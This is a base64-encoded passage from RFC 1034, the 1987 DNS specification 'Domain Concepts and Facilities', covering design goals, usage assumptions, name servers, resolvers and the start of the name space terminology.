bXByb3ZlIHBlcmZvcm1hbmNlLiAgQXBwcm9hY2hlcyB0aGF0CgoKCk1vY2thcGV0cmlzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbUGFnZSAyXQoMClJGQyAxMDM0ICAgICAgICAgICAgIERvbWFpbiBDb25jZXB0cyBhbmQgRmFjaWxpdGllcyAgICAgICAgTm92ZW1iZXIgMTk4NwoKCiAgICAgYXR0ZW1wdCB0byBjb2xsZWN0IGEgY29uc2lzdGVudCBjb3B5IG9mIHRoZSBlbnRpcmUgZGF0YWJhc2UKICAgICB3aWxsIGJlY29tZSBtb3JlIGFuZCBtb3JlIGV4cGVuc2l2ZSBhbmQgZGlmZmljdWx0LCBhbmQgaGVuY2UKICAgICBzaG91bGQgYmUgYXZvaWRlZC4gIFRoZSBzYW1lIHByaW5jaXBsZSBob2xkcyBmb3IgdGhlIHN0cnVjdHVyZQogICAgIG9mIHRoZSBuYW1lIHNwYWNlLCBhbmQgaW4gcGFydGljdWxhciBtZWNoYW5pc21zIGZvciBjcmVhdGluZwogICAgIGFuZCBkZWxldGluZyBuYW1lczsgdGhlc2Ugc2hvdWxkIGFsc28gYmUgZGlzdHJpYnV0ZWQuCgogICAtIFdoZXJlIHRoZXJlIHRyYWRlb2ZmcyBiZXR3ZWVuIHRoZSBjb3N0IG9mIGFjcXVpcmluZyBkYXRhLCB0aGUKICAgICBzcGVlZCBvZiB1cGRhdGVzLCBhbmQgdGhlIGFjY3VyYWN5IG9mIGNhY2hlcywgdGhlIHNvdXJjZSBvZgogICAgIHRoZSBkYXRhIHNob3VsZCBjb250cm9sIHRoZSB0cmFkZW9mZi4KCiAgIC0gVGhlIGNvc3RzIG9mIGltcGxlbWVudGluZyBzdWNoIGEgZmFjaWxpdHkgZGljdGF0ZSB0aGF0IGl0IGJlCiAgICAgZ2VuZXJhbGx5IHVzZWZ1bCwgYW5kIG5vdCByZXN0cmljdGVkIHRvIGEgc2luZ2xlIGFwcGxpY2F0aW9uLgogICAgIFdlIHNob3VsZCBiZSBhYmxlIHRvIHVzZSBuYW1lcyB0byByZXRyaWV2ZSBob3N0IGFkZHJlc3NlcywKICAgICBtYWlsYm94IGRhdGEsIGFuZCBvdGhlciBhcyB5ZXQgdW5kZXRlcm1pbmVkIGluZm9ybWF0aW9uLiAgQWxsCiAgICAgZGF0YSBhc3NvY2lhdGVkIHdpdGggYSBuYW1lIGlzIHRhZ2dlZCB3aXRoIGEgdHlwZSwgYW5kIHF1ZXJpZXMKICAgICBjYW4gYmUgbGltaXRlZCB0byBhIHNpbmdsZSB0eXBlLgoKICAgLSBCZWNhdXNlIHdlIHdhbnQgdGhlIG5hbWUgc3BhY2UgdG8gYmUgdXNlZnVsIGluIGRpc3NpbWlsYXIKICAgICBuZXR3b3JrcyBhbmQgYXBwbGljYXRpb25zLCB3ZSBwcm92aWRlIHRoZSBhYmlsaXR5IHRvIHVzZSB0aGUKICAgICBzYW1lIG5hbWUgc3BhY2Ugd2l0aCBkaWZmZXJlbnQgcHJvdG9jb2wgZmFtaWxpZXMgb3IKICAgICBtYW5hZ2VtZW50LiAgRm9yIGV4YW1wbGUsIGhvc3QgYWRkcmVzcyBmb3JtYXRzIGRpZmZlciBiZXR3ZWVuCiAgICAgcHJvdG9jb2xzLCB0aG91Z2ggYWxsIHByb3RvY29scyBoYXZlIHRoZSBub3Rpb24gb2YgYWRkcmVzcy4KICAgICBUaGUgRE5TIHRhZ3MgYWxsIGRhdGEgd2l0aCBhIGNsYXNzIGFzIHdlbGwgYXMgdGhlIHR5cGUsIHNvCiAgICAgdGhhdCB3ZSBjYW4gYWxsb3cgcGFyYWxsZWwgdXNlIG9mIGRpZmZlcmVudCBmb3JtYXRzIGZvciBkYXRhCiAgICAgb2YgdHlwZSBhZGRyZXNzLgoKICAgLSBXZSB3YW50IG5hbWUgc2VydmVyIHRyYW5zYWN0aW9ucyB0byBiZSBpbmRlcGVuZGVudCBvZiB0aGUKICAgICBjb21tdW5pY2F0aW9ucyBzeXN0ZW0gdGhhdCBjYXJyaWVzIHRoZW0uICBTb21lIHN5c3RlbXMgbWF5CiAgICAgd2lzaCB0byB1c2UgZGF0YWdyYW1zIGZvciBxdWVyaWVzIGFuZCByZXNwb25zZXMsIGFuZCBvbmx5CiAgICAgZXN0YWJsaXNoIHZpcnR1YWwgY2lyY3VpdHMgZm9yIHRyYW5zYWN0aW9ucyB0aGF0IG5lZWQgdGhlCiAgICAgcmVsaWFiaWxpdHkgKGUuZy4sIGRhdGFiYXNlIHVwZGF0ZXMsIGxvbmcgdHJhbnNhY3Rpb25zKTsgb3RoZXIKICAgICBzeXN0ZW1zIHdpbGwgdXNlIHZpcnR1YWwgY2lyY3VpdHMgZXhjbHVzaXZlbHkuCgogICAtIFRoZSBzeXN0ZW0gc2hvdWxkIGJlIHVzZWZ1bCBhY3Jvc3MgYSB3aWRlIHNwZWN0cnVtIG9mIGhvc3QKICAgICBjYXBhYmlsaXRpZXMuICBCb3RoIHBlcnNvbmFsIGNvbXB1dGVycyBhbmQgbGFyZ2UgdGltZXNoYXJlZAogICAgIGhvc3RzIHNob3VsZCBiZSBhYmxlIHRvIHVzZSB0aGUgc3lzdGVtLCB0aG91Z2ggcGVyaGFwcyBpbgogICAgIGRpZmZlcmVudCB3YXlzLgoKMi4zLiBBc3N1bXB0aW9ucyBhYm91dCB1c2FnZQoKVGhlIG9yZ2FuaXphdGlvbiBvZiB0aGUgZG9tYWluIHN5c3RlbSBkZXJpdmVzIGZyb20gc29tZSBhc3N1bXB0aW9ucwphYm91dCB0aGUgbmVlZHMgYW5kIHVzYWdlIHBhdHRlcm5zIG9mIGl0cyB1c2VyIGNvbW11bml0eSBhbmQgaXMgZGVzaWduZWQKdG8gYXZvaWQgbWFueSBvZiB0aGUgdGhlIGNvbXBsaWNhdGVkIHByb2JsZW1zIGZvdW5kIGluIGdlbmVyYWwgcHVycG9zZQpkYXRhYmFzZSBzeXN0ZW1zLgoKVGhlIGFzc3VtcHRpb25zIGFyZToKCiAgIC0gVGhlIHNpemUgb2YgdGhlIHRvdGFsIGRhdGFiYXNlIHdpbGwgaW5pdGlhbGx5IGJlIHByb3BvcnRpb25hbAoKCgpNb2NrYXBldHJpcyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgM10KDApSRkMgMTAzNCAgICAgICAgICAgICBEb21haW4gQ29uY2VwdHMgYW5kIEZhY2lsaXRpZXMgICAgICAgIE5vdmVtYmVyIDE5ODcKCgogICAgIHRvIHRoZSBudW1iZXIgb2YgaG9zdHMgdXNpbmcgdGhlIHN5c3RlbSwgYnV0IHdpbGwgZXZlbnR1YWxseQogICAgIGdyb3cgdG8gYmUgcHJvcG9ydGlvbmFsIHRvIHRoZSBudW1iZXIgb2YgdXNlcnMgb24gdGhvc2UgaG9zdHMKICAgICBhcyBtYWlsYm94ZXMgYW5kIG90aGVyIGluZm9ybWF0aW9uIGFyZSBhZGRlZCB0byB0aGUgZG9tYWluCiAgICAgc3lzdGVtLgoKICAgLSBNb3N0IG9mIHRoZSBkYXRhIGluIHRoZSBzeXN0ZW0gd2lsbCBjaGFuZ2UgdmVyeSBzbG93bHkgKGUuZy4sCiAgICAgbWFpbGJveCBiaW5kaW5ncywgaG9zdCBhZGRyZXNzZXMpLCBidXQgdGhhdCB0aGUgc3lzdGVtIHNob3VsZAogICAgIGJlIGFibGUgdG8gZGVhbCB3aXRoIHN1YnNldHMgdGhhdCBjaGFuZ2UgbW9yZSByYXBpZGx5IChvbiB0aGUKICAgICBvcmRlciBvZiBzZWNvbmRzIG9yIG1pbnV0ZXMpLgoKICAgLSBUaGUgYWRtaW5pc3RyYXRpdmUgYm91bmRhcmllcyB1c2VkIHRvIGRpc3RyaWJ1dGUKICAgICByZXNwb25zaWJpbGl0eSBmb3IgdGhlIGRhdGFiYXNlIHdpbGwgdXN1YWxseSBjb3JyZXNwb25kIHRvCiAgICAgb3JnYW5pemF0aW9ucyB0aGF0IGhhdmUgb25lIG9yIG1vcmUgaG9zdHMuICBFYWNoIG9yZ2FuaXphdGlvbgogICAgIHRoYXQgaGFzIHJlc3BvbnNpYmlsaXR5IGZvciBhIHBhcnRpY3VsYXIgc2V0IG9mIGRvbWFpbnMgd2lsbAogICAgIHByb3ZpZGUgcmVkdW5kYW50IG5hbWUgc2VydmVycywgZWl0aGVyIG9uIHRoZSBvcmdhbml6YXRpb24ncwogICAgIG93biBob3N0cyBvciBvdGhlciBob3N0cyB0aGF0IHRoZSBvcmdhbml6YXRpb24gYXJyYW5nZXMgdG8KICAgICB1c2UuCgogICAtIENsaWVudHMgb2YgdGhlIGRvbWFpbiBzeXN0ZW0gc2hvdWxkIGJlIGFibGUgdG8gaWRlbnRpZnkKICAgICB0cnVzdGVkIG5hbWUgc2VydmVycyB0aGV5IHByZWZlciB0byB1c2UgYmVmb3JlIGFjY2VwdGluZwogICAgIHJlZmVycmFscyB0byBuYW1lIHNlcnZlcnMgb3V0c2lkZSBvZiB0aGlzICJ0cnVzdGVkIiBzZXQuCgogICAtIEFjY2VzcyB0byBpbmZvcm1hdGlvbiBpcyBtb3JlIGNyaXRpY2FsIHRoYW4gaW5zdGFudGFuZW91cwogICAgIHVwZGF0ZXMgb3IgZ3VhcmFudGVlcyBvZiBjb25zaXN0ZW5jeS4gIEhlbmNlIHRoZSB1cGRhdGUKICAgICBwcm9jZXNzIGFsbG93cyB1cGRhdGVzIHRvIHBlcmNvbGF0ZSBvdXQgdGhyb3VnaCB0aGUgdXNlcnMgb2YKICAgICB0aGUgZG9tYWluIHN5c3RlbSByYXRoZXIgdGhhbiBndWFyYW50ZWVpbmcgdGhhdCBhbGwgY29waWVzIGFyZQogICAgIHNpbXVsdGFuZW91c2x5IHVwZGF0ZWQuICBXaGVuIHVwZGF0ZXMgYXJlIHVuYXZhaWxhYmxlIGR1ZSB0bwogICAgIG5ldHdvcmsgb3IgaG9zdCBmYWlsdXJlLCB0aGUgdXN1YWwgY291cnNlIGlzIHRvIGJlbGlldmUgb2xkCiAgICAgaW5mb3JtYXRpb24gd2hpbGUgY29udGludWluZyBlZmZvcnRzIHRvIHVwZGF0ZSBpdC4gIFRoZQogICAgIGdlbmVyYWwgbW9kZWwgaXMgdGhhdCBjb3BpZXMgYXJlIGRpc3RyaWJ1dGVkIHdpdGggdGltZW91dHMgZm9yCiAgICAgcmVmcmVzaGluZy4gIFRoZSBkaXN0cmlidXRvciBzZXRzIHRoZSB0aW1lb3V0IHZhbHVlIGFuZCB0aGUKICAgICByZWNpcGllbnQgb2YgdGhlIGRpc3RyaWJ1dGlvbiBpcyByZXNwb25zaWJsZSBmb3IgcGVyZm9ybWluZwogICAgIHRoZSByZWZyZXNoLiAgSW4gc3BlY2lhbCBzaXR1YXRpb25zLCB2ZXJ5IHNob3J0IGludGVydmFscyBjYW4KICAgICBiZSBzcGVjaWZpZWQsIG9yIHRoZSBvd25lciBjYW4gcHJvaGliaXQgY29waWVzLgoKICAgLSBJbiBhbnkgc3lzdGVtIHRoYXQgaGFzIGEgZGlzdHJpYnV0ZWQgZGF0YWJhc2UsIGEgcGFydGljdWxhcgogICAgIG5hbWUgc2VydmVyIG1heSBiZSBwcmVzZW50ZWQgd2l0aCBhIHF1ZXJ5IHRoYXQgY2FuIG9ubHkgYmUKICAgICBhbnN3ZXJlZCBieSBzb21lIG90aGVyIHNlcnZlci4gIFRoZSB0d28gZ2VuZXJhbCBhcHByb2FjaGVzIHRvCiAgICAgZGVhbGluZyB3aXRoIHRoaXMgcHJvYmxlbSBhcmUgInJlY3Vyc2l2ZSIsIGluIHdoaWNoIHRoZSBmaXJzdAogICAgIHNlcnZlciBwdXJzdWVzIHRoZSBxdWVyeSBmb3IgdGhlIGNsaWVudCBhdCBhbm90aGVyIHNlcnZlciwgYW5kCiAgICAgIml0ZXJhdGl2ZSIsIGluIHdoaWNoIHRoZSBzZXJ2ZXIgcmVmZXJzIHRoZSBjbGllbnQgdG8gYW5vdGhlcgogICAgIHNlcnZlciBhbmQgbGV0cyB0aGUgY2xpZW50IHB1cnN1ZSB0aGUgcXVlcnkuICBCb3RoIGFwcHJvYWNoZXMKICAgICBoYXZlIGFkdmFudGFnZXMgYW5kIGRpc2FkdmFudGFnZXMsIGJ1dCB0aGUgaXRlcmF0aXZlIGFwcHJvYWNoCiAgICAgaXMgcHJlZmVycmVkIGZvciB0aGUgZGF0YWdyYW0gc3R5bGUgb2YgYWNjZXNzLiAgVGhlIGRvbWFpbgogICAgIHN5c3RlbSByZXF1aXJlcyBpbXBsZW1lbnRhdGlvbiBvZiB0aGUgaXRlcmF0aXZlIGFwcHJvYWNoLCBidXQKICAgICBhbGxvd3MgdGhlIHJlY3Vyc2l2ZSBhcHByb2FjaCBhcyBhbiBvcHRpb24uCgoKCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtQYWdlIDRdCgwKUkZDIDEwMzQgICAgICAgICAgICAgRG9tYWluIENvbmNlcHRzIGFuZCBGYWNpbGl0aWVzICAgICAgICBOb3ZlbWJlciAxOTg3CgoKVGhlIGRvbWFpbiBzeXN0ZW0gYXNzdW1lcyB0aGF0IGFsbCBkYXRhIG9yaWdpbmF0ZXMgaW4gbWFzdGVyIGZpbGVzCnNjYXR0ZXJlZCB0aHJvdWdoIHRoZSBob3N0cyB0aGF0IHVzZSB0aGUgZG9tYWluIHN5c3RlbS4gIFRoZXNlIG1hc3RlcgpmaWxlcyBhcmUgdXBkYXRlZCBieSBsb2NhbCBzeXN0ZW0gYWRtaW5pc3RyYXRvcnMuICBNYXN0ZXIgZmlsZXMgYXJlIHRleHQKZmlsZXMgdGhhdCBhcmUgcmVhZCBieSBhIGxvY2FsIG5hbWUgc2VydmVyLCBhbmQgaGVuY2UgYmVjb21lIGF2YWlsYWJsZQp0aHJvdWdoIHRoZSBuYW1lIHNlcnZlcnMgdG8gdXNlcnMgb2YgdGhlIGRvbWFpbiBzeXN0ZW0uICBUaGUgdXNlcgpwcm9ncmFtcyBhY2Nlc3MgbmFtZSBzZXJ2ZXJzIHRocm91Z2ggc3RhbmRhcmQgcHJvZ3JhbXMgY2FsbGVkIHJlc29sdmVycy4KClRoZSBzdGFuZGFyZCBmb3JtYXQgb2YgbWFzdGVyIGZpbGVzIGFsbG93cyB0aGVtIHRvIGJlIGV4Y2hhbmdlZCBiZXR3ZWVuCmhvc3RzICh2aWEgRlRQLCBtYWlsLCBvciBzb21lIG90aGVyIG1lY2hhbmlzbSk7IHRoaXMgZmFjaWxpdHkgaXMgdXNlZnVsCndoZW4gYW4gb3JnYW5pemF0aW9uIHdhbnRzIGEgZG9tYWluLCBidXQgZG9lc24ndCB3YW50IHRvIHN1cHBvcnQgYSBuYW1lCnNlcnZlci4gIFRoZSBvcmdhbml6YXRpb24gY2FuIG1haW50YWluIHRoZSBtYXN0ZXIgZmlsZXMgbG9jYWxseSB1c2luZyBhCnRleHQgZWRpdG9yLCB0cmFuc2ZlciB0aGVtIHRvIGEgZm9yZWlnbiBob3N0IHdoaWNoIHJ1bnMgYSBuYW1lIHNlcnZlciwKYW5kIHRoZW4gYXJyYW5nZSB3aXRoIHRoZSBzeXN0ZW0gYWRtaW5pc3RyYXRvciBvZiB0aGUgbmFtZSBzZXJ2ZXIgdG8gZ2V0CnRoZSBmaWxlcyBsb2FkZWQuCgpFYWNoIGhvc3QncyBuYW1lIHNlcnZlcnMgYW5kIHJlc29sdmVycyBhcmUgY29uZmlndXJlZCBieSBhIGxvY2FsIHN5c3RlbQphZG1pbmlzdHJhdG9yIFtSRkMtMTAzM10uICBGb3IgYSBuYW1lIHNlcnZlciwgdGhpcyBjb25maWd1cmF0aW9uIGRhdGEKaW5jbHVkZXMgdGhlIGlkZW50aXR5IG9mIGxvY2FsIG1hc3RlciBmaWxlcyBhbmQgaW5zdHJ1Y3Rpb25zIG9uIHdoaWNoCm5vbi1sb2NhbCBtYXN0ZXIgZmlsZXMgYXJlIHRvIGJlIGxvYWRlZCBmcm9tIGZvcmVpZ24gc2VydmVycy4gIFRoZSBuYW1lCnNlcnZlciB1c2VzIHRoZSBtYXN0ZXIgZmlsZXMgb3IgY29waWVzIHRvIGxvYWQgaXRzIHpvbmVzLiAgRm9yCnJlc29sdmVycywgdGhlIGNvbmZpZ3VyYXRpb24gZGF0YSBpZGVudGlmaWVzIHRoZSBuYW1lIHNlcnZlcnMgd2hpY2gKc2hvdWxkIGJlIHRoZSBwcmltYXJ5IHNvdXJjZXMgb2YgaW5mb3JtYXRpb24uCgpUaGUgZG9tYWluIHN5c3RlbSBkZWZpbmVzIHByb2NlZHVyZXMgZm9yIGFjY2Vzc2luZyB0aGUgZGF0YSBhbmQgZm9yCnJlZmVycmFscyB0byBvdGhlciBuYW1lIHNlcnZlcnMuICBUaGUgZG9tYWluIHN5c3RlbSBhbHNvIGRlZmluZXMKcHJvY2VkdXJlcyBmb3IgY2FjaGluZyByZXRyaWV2ZWQgZGF0YSBhbmQgZm9yIHBlcmlvZGljIHJlZnJlc2hpbmcgb2YKZGF0YSBkZWZpbmVkIGJ5IHRoZSBzeXN0ZW0gYWRtaW5pc3RyYXRvci4KClRoZSBzeXN0ZW0gYWRtaW5pc3RyYXRvcnMgcHJvdmlkZToKCiAgIC0gVGhlIGRlZmluaXRpb24gb2Ygem9uZSBib3VuZGFyaWVzLgoKICAgLSBNYXN0ZXIgZmlsZXMgb2YgZGF0YS4KCiAgIC0gVXBkYXRlcyB0byBtYXN0ZXIgZmlsZXMuCgogICAtIFN0YXRlbWVudHMgb2YgdGhlIHJlZnJlc2ggcG9saWNpZXMgZGVzaXJlZC4KClRoZSBkb21haW4gc3lzdGVtIHByb3ZpZGVzOgoKICAgLSBTdGFuZGFyZCBmb3JtYXRzIGZvciByZXNvdXJjZSBkYXRhLgoKICAgLSBTdGFuZGFyZCBtZXRob2RzIGZvciBxdWVyeWluZyB0aGUgZGF0YWJhc2UuCgogICAtIFN0YW5kYXJkIG1ldGhvZHMgZm9yIG5hbWUgc2VydmVycyB0byByZWZyZXNoIGxvY2FsIGRhdGEgZnJvbQogICAgIGZvcmVpZ24gbmFtZSBzZXJ2ZXJzLgoKCgoKCk1vY2thcGV0cmlzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbUGFnZSA1XQoMClJGQyAxMDM0ICAgICAgICAgICAgIERvbWFpbiBDb25jZXB0cyBhbmQgRmFjaWxpdGllcyAgICAgICAgTm92ZW1iZXIgMTk4NwoKCjIuNC4gRWxlbWVudHMgb2YgdGhlIEROUwoKVGhlIEROUyBoYXMgdGhyZWUgbWFqb3IgY29tcG9uZW50czoKCiAgIC0gVGhlIERPTUFJTiBOQU1FIFNQQUNFIGFuZCBSRVNPVVJDRSBSRUNPUkRTLCB3aGljaCBhcmUKICAgICBzcGVjaWZpY2F0aW9ucyBmb3IgYSB0cmVlIHN0cnVjdHVyZWQgbmFtZSBzcGFjZSBhbmQgZGF0YQogICAgIGFzc29jaWF0ZWQgd2l0aCB0aGUgbmFtZXMuICBDb25jZXB0dWFsbHksIGVhY2ggbm9kZSBhbmQgbGVhZgogICAgIG9mIHRoZSBkb21haW4gbmFtZSBzcGFjZSB0cmVlIG5hbWVzIGEgc2V0IG9mIGluZm9ybWF0aW9uLCBhbmQKICAgICBxdWVyeSBvcGVyYXRpb25zIGFyZSBhdHRlbXB0cyB0byBleHRyYWN0IHNwZWNpZmljIHR5cGVzIG9mCiAgICAgaW5mb3JtYXRpb24gZnJvbSBhIHBhcnRpY3VsYXIgc2V0LiAgQSBxdWVyeSBuYW1lcyB0aGUgZG9tYWluCiAgICAgbmFtZSBvZiBpbnRlcmVzdCBhbmQgZGVzY3JpYmVzIHRoZSB0eXBlIG9mIHJlc291cmNlCiAgICAgaW5mb3JtYXRpb24gdGhhdCBpcyBkZXNpcmVkLiAgRm9yIGV4YW1wbGUsIHRoZSBJbnRlcm5ldAogICAgIHVzZXMgc29tZSBvZiBpdHMgZG9tYWluIG5hbWVzIHRvIGlkZW50aWZ5IGhvc3RzOyBxdWVyaWVzIGZvcgogICAgIGFkZHJlc3MgcmVzb3VyY2VzIHJldHVybiBJbnRlcm5ldCBob3N0IGFkZHJlc3Nlcy4KCiAgIC0gTkFNRSBTRVJWRVJTIGFyZSBzZXJ2ZXIgcHJvZ3JhbXMgd2hpY2ggaG9sZCBpbmZvcm1hdGlvbiBhYm91dAogICAgIHRoZSBkb21haW4gdHJlZSdzIHN0cnVjdHVyZSBhbmQgc2V0IGluZm9ybWF0aW9uLiAgQSBuYW1lCiAgICAgc2VydmVyIG1heSBjYWNoZSBzdHJ1Y3R1cmUgb3Igc2V0IGluZm9ybWF0aW9uIGFib3V0IGFueSBwYXJ0CiAgICAgb2YgdGhlIGRvbWFpbiB0cmVlLCBidXQgaW4gZ2VuZXJhbCBhIHBhcnRpY3VsYXIgbmFtZSBzZXJ2ZXIKICAgICBoYXMgY29tcGxldGUgaW5mb3JtYXRpb24gYWJvdXQgYSBzdWJzZXQgb2YgdGhlIGRvbWFpbiBzcGFjZSwKICAgICBhbmQgcG9pbnRlcnMgdG8gb3RoZXIgbmFtZSBzZXJ2ZXJzIHRoYXQgY2FuIGJlIHVzZWQgdG8gbGVhZCB0bwogICAgIGluZm9ybWF0aW9uIGZyb20gYW55IHBhcnQgb2YgdGhlIGRvbWFpbiB0cmVlLiAgTmFtZSBzZXJ2ZXJzCiAgICAga25vdyB0aGUgcGFydHMgb2YgdGhlIGRvbWFpbiB0cmVlIGZvciB3aGljaCB0aGV5IGhhdmUgY29tcGxldGUKICAgICBpbmZvcm1hdGlvbjsgYSBuYW1lIHNlcnZlciBpcyBzYWlkIHRvIGJlIGFuIEFVVEhPUklUWSBmb3IKICAgICB0aGVzZSBwYXJ0cyBvZiB0aGUgbmFtZSBzcGFjZS4gIEF1dGhvcml0YXRpdmUgaW5mb3JtYXRpb24gaXMKICAgICBvcmdhbml6ZWQgaW50byB1bml0cyBjYWxsZWQgWk9ORXMsIGFuZCB0aGVzZSB6b25lcyBjYW4gYmUKICAgICBhdXRvbWF0aWNhbGx5IGRpc3RyaWJ1dGVkIHRvIHRoZSBuYW1lIHNlcnZlcnMgd2hpY2ggcHJvdmlkZQogICAgIHJlZHVuZGFudCBzZXJ2aWNlIGZvciB0aGUgZGF0YSBpbiBhIHpvbmUuCgogICAtIFJFU09MVkVSUyBhcmUgcHJvZ3JhbXMgdGhhdCBleHRyYWN0IGluZm9ybWF0aW9uIGZyb20gbmFtZQogICAgIHNlcnZlcnMgaW4gcmVzcG9uc2UgdG8gY2xpZW50IHJlcXVlc3RzLiAgUmVzb2x2ZXJzIG11c3QgYmUKICAgICBhYmxlIHRvIGFjY2VzcyBhdCBsZWFzdCBvbmUgbmFtZSBzZXJ2ZXIgYW5kIHVzZSB0aGF0IG5hbWUKICAgICBzZXJ2ZXIncyBpbmZvcm1hdGlvbiB0byBhbnN3ZXIgYSBxdWVyeSBkaXJlY3RseSwgb3IgcHVyc3VlIHRoZQogICAgIHF1ZXJ5IHVzaW5nIHJlZmVycmFscyB0byBvdGhlciBuYW1lIHNlcnZlcnMuICBBIHJlc29sdmVyIHdpbGwKICAgICB0eXBpY2FsbHkgYmUgYSBzeXN0ZW0gcm91dGluZSB0aGF0IGlzIGRpcmVjdGx5IGFjY2Vzc2libGUgdG8KICAgICB1c2VyIHByb2dyYW1zOyBoZW5jZSBubyBwcm90b2NvbCBpcyBuZWNlc3NhcnkgYmV0d2VlbiB0aGUKICAgICByZXNvbHZlciBhbmQgdGhlIHVzZXIgcHJvZ3JhbS4KClRoZXNlIHRocmVlIGNvbXBvbmVudHMgcm91Z2hseSBjb3JyZXNwb25kIHRvIHRoZSB0aHJlZSBsYXllcnMgb3Igdmlld3MKb2YgdGhlIGRvbWFpbiBzeXN0ZW06CgogICAtIEZyb20gdGhlIHVzZXIncyBwb2ludCBvZiB2aWV3LCB0aGUgZG9tYWluIHN5c3RlbSBpcyBhY2Nlc3NlZAogICAgIHRocm91Z2ggYSBzaW1wbGUgcHJvY2VkdXJlIG9yIE9TIGNhbGwgdG8gYSBsb2NhbCByZXNvbHZlci4KICAgICBUaGUgZG9tYWluIHNwYWNlIGNvbnNpc3RzIG9mIGEgc2luZ2xlIHRyZWUgYW5kIHRoZSB1c2VyIGNhbgogICAgIHJlcXVlc3QgaW5mb3JtYXRpb24gZnJvbSBhbnkgc2VjdGlvbiBvZiB0aGUgdHJlZS4KCiAgIC0gRnJvbSB0aGUgcmVzb2x2ZXIncyBwb2ludCBvZiB2aWV3LCB0aGUgZG9tYWluIHN5c3RlbSBpcwogICAgIGNvbXBvc2VkIG9mIGFuIHVua25vd24gbnVtYmVyIG9mIG5hbWUgc2VydmVycy4gIEVhY2ggbmFtZQoKCgpNb2NrYXBldHJpcyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgNl0KDApSRkMgMTAzNCAgICAgICAgICAgICBEb21haW4gQ29uY2VwdHMgYW5kIEZhY2lsaXRpZXMgICAgICAgIE5vdmVtYmVyIDE5ODcKCgogICAgIHNlcnZlciBoYXMgb25lIG9yIG1vcmUgcGllY2VzIG9mIHRoZSB3aG9sZSBkb21haW4gdHJlZSdzIGRhdGEsCiAgICAgYnV0IHRoZSByZXNvbHZlciB2aWV3cyBlYWNoIG9mIHRoZXNlIGRhdGFiYXNlcyBhcyBlc3NlbnRpYWxseQogICAgIHN0YXRpYy4KCiAgIC0gRnJvbSBhIG5hbWUgc2VydmVyJ3MgcG9pbnQgb2YgdmlldywgdGhlIGRvbWFpbiBzeXN0ZW0gY29uc2lzdHMKICAgICBvZiBzZXBhcmF0ZSBzZXRzIG9mIGxvY2FsIGluZm9ybWF0aW9uIGNhbGxlZCB6b25lcy4gIFRoZSBuYW1lCiAgICAgc2VydmVyIGhhcyBsb2NhbCBjb3BpZXMgb2Ygc29tZSBvZiB0aGUgem9uZXMuICBUaGUgbmFtZSBzZXJ2ZXIKICAgICBtdXN0IHBlcmlvZGljYWxseSByZWZyZXNoIGl0cyB6b25lcyBmcm9tIG1hc3RlciBjb3BpZXMgaW4KICAgICBsb2NhbCBmaWxlcyBvciBmb3JlaWduIG5hbWUgc2VydmVycy4gIFRoZSBuYW1lIHNlcnZlciBtdXN0CiAgICAgY29uY3VycmVudGx5IHByb2Nlc3MgcXVlcmllcyB0aGF0IGFycml2ZSBmcm9tIHJlc29sdmVycy4KCkluIHRoZSBpbnRlcmVzdHMgb2YgcGVyZm9ybWFuY2UsIGltcGxlbWVudGF0aW9ucyBtYXkgY291cGxlIHRoZXNlCmZ1bmN0aW9ucy4gIEZvciBleGFtcGxlLCBhIHJlc29sdmVyIG9uIHRoZSBzYW1lIG1hY2hpbmUgYXMgYSBuYW1lIHNlcnZlcgptaWdodCBzaGFyZSBhIGRhdGFiYXNlIGNvbnNpc3Rpbmcgb2YgdGhlIHRoZSB6b25lcyBtYW5hZ2VkIGJ5IHRoZSBuYW1lCnNlcnZlciBhbmQgdGhlIGNhY2hlIG1hbmFnZWQgYnkgdGhlIHJlc29sdmVyLgoKMy4gRE9NQUlOIE5BTUUgU1BBQ0UgYW5kIFJFU09VUkNFIFJFQ09SRFMKCjMuMS4gTmFtZSBzcGFjZSBzcGVjaWZpY2F0aW9ucyBhbmQgdGVybWlub2xvZ3kKClRoZSBkb21haW4gbmFtZSBzcGFjZSBpcyBhIHRyZWUgc3RydWN0dXJlLiAgRWFjaCBub2RlIGFuZCBsZWFmIG9uIHRoZQp0cmVlIGNvcnJlc3BvbmRzIHRvIGEgcmVzb3VyY2Ugc2V0ICh3aGljaCBtYXkgYmUgZW1wdHkpLiAgVGhlIGRvbWFpbgpzeXN0ZW0gbWFrZXMgbm8gZGlzdGluY3Rpb25zIGJldHdlZW4gdGhlIHVzZXMgb2YgdGhlIGludGVyaW9yIG5vZGVzIGFuZApsZWF2ZXMsIGFuZCB0aGlzIG1lbW8gdXNlcyB0aGUgdGVybSAibm9kZSIgdG8gcmVmZXIgdG8gYm90aC4KCkVhY2ggbm9kZSBoYXMgYSBsYWJlbCwgd2hpY2ggaXMgemVybyB0byA2MyBvY3RldHMgaW4gbGVuZ3RoLiAgQnJvdGhlcgpub2RlcyBtYXkgbm90IGhhdmUgdGhlIHNhbWUgbGFiZWwsIGFsdGhvdWdoIHRoZSBzYW1lIGxhYmVsIGNhbiBiZSB1c2VkCmZvciBub2RlcyB3aGljaCBhcmUgbm90IGJyb3RoZXJzLiAgT25lIGxhYmVsIGlzIHJlc2VydmVkLCBhbmQgdGhhdCBpcwp0aGUgbnVsbCAoaS5lLiwgemVybyBsZW5ndGgpIGxhYmVsIHVzZWQgZm9yIHRoZSByb290LgoKVGhlIGRvbWFpbiBuYW1lIG9mIGEgbm9kZSBpcyB0aGUgbGlzdCBvZiB0aGUgbGFiZWxzIG9uIHRoZSBwYXRoIGZyb20gdGhlCm5vZGUgdG8gdGhlIHJvb3Qgb2YgdGhlIHRyZWUuICBCeSBjb252ZW50aW9uLCB0aGUgbGFiZWxzIHRoYXQgY29tcG9zZSBhCmRvbWFpbiBuYW1lIGFyZSBwcmludGVkIG9yIHJlYWQgbGVmdCB0byByaWdodCwgZnJvbSB0aGUgbW9zdCBzcGVjaWZpYwoobG93ZXN0LCBmYXJ0aGVzdCBmcm9tIHRoZSByb290KSB0byB0aGUgbGVhc3Qgc3BlY2lmaWMgKGhpZ2hlc3QsIGNsb3Nlc3QKdG8gdGhlIHJvb3QpLgoKSW5